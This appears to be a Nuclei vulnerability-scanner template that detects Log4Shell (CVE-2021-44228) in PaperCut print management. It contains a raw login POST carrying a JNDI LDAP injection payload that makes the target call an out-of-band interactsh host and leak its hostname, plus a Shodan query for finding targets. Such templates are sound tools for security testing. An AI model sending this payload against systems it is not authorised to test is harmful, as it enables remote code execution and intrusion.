66 lines
2.1 KiB
YAML
66 lines
2.1 KiB
YAML
id: papercut-log4j-rce
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info:
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name: Papercut - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Papercut is susceptible to Log4j JNDI remote code execution. Papercut is a print management system.
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reference:
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- https://www.papercut.com/kb/Main/Log4Shell-CVE-2021-44228#product-status
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 1
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shodan-query: title:"Papercut"
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tags: cve,cve2021,rce,jndi,log4j,papercut,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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POST /app HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Referer: {{RootURL}}/app
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Content-Type: application/x-www-form-urlencoded
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service=direct%2F1%2FHome%2F%24Form&sp=S0&Form0=%24Hidden%240%2C%24Hidden%241%2CinputUsername%2CinputPassword%2C%24Submit%240%2C%24PropertySelection&%24Hidden%240=true&%24Hidden%241=X&inputUsername=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&inputPassword=a&%24Submit%240=Log+in&%24PropertySelection=en
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors:
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- type: kval
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kval:
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- interactsh_ip
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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# digest: 4a0a00473045022100e1f717ae6d14de12635cdb28abdf4a0ebd07b6880b8b8bafc11066425dbc7b72022033366236333a7cfb5beb96ae8591c82dddbd5fc8b3c457964828061cc786d216:922c64590222798bb761d5b6d8e72950
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